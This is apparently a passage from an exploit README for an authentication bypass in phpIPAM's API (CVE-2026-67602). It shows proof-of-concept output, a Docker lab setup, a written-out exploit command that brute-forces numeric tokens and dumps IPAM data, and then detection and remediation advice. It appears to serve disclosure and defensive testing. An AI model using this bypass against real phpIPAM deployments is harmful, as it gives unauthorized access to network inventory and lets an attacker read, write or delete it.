## https://sploitus.com/exploit?id=229AD960-7A7E-5E2D-A1D7-5DEBE35E681B
# CVE-2026-67602 — phpIPAM row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id -> AUTHENTICATED
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Response: 401 Unauthorized — token rejected
```
## 2. Live repro in Docker
```console
$ docker compose up -d
```
1. Browse to `http://localhost:8080/`, proceed to the installer
(`http://localhost:8080/install/`), choose **Automatic database
installation**, MySQL user `root` / password `phpipamAdminRoot`.
2. Log in (`admin` / `admin`), set a new admin password when prompted.
3. Create the API app: **Administration → API Management** → new:
- Application name (`app_id`): `client`
- Security: **API code (ssl_code)**
- Permissions: **Read / Write / Delete**
4. phpIPAM generates a random 32-character application code. You do not need
to copy it — that is the point of the bug.
Run the exploit (the `--xfp` flag satisfies the HTTPS check via
`X-Forwarded-Proto`, which the lab trusts):
```console
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Brute-forcing numeric tokens (row ids) 1..64 for app_id='client'...
[+] AUTHENTICATION BYPASSED — phpipam-token: 1 is accepted
[+] The app's real 32-char app_code was never needed.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) readable
[*] Dumping IPAM data...
```
## 3. Detection & remediation
- **Upgrade to phpIPAM 1.8.2 or later.** The fix keys the object cache by
search column as well as value (commit `d29728f`).
- Until you upgrade, disable or reconfigure `ssl_code` API apps (other
security modes are not affected by this cache collision).
- Check your web server / phpIPAM logs for requests to `/api//...`
carrying a purely numeric `phpipam-token` header — legitimate tokens are
32-character random strings, so numeric tokens are a high-fidelity IOC.
- Rotate API application codes and user tokens if exposure is suspected.
## Responsible use
This repository is for defensive research and authorized penetration testing
only. Only run it against systems you own or have written permission to test.